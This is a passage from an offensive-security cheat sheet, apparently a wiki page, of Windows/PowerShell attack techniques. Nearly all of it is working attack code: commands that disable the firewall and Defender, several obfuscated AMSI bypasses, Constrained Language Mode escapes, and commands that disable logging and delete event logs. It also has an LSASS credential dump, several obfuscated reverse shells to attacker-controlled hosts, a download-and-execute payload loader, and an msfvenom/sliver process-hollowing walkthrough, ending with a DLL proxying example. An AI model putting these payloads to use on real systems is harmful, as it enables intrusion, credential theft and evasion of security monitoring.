* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
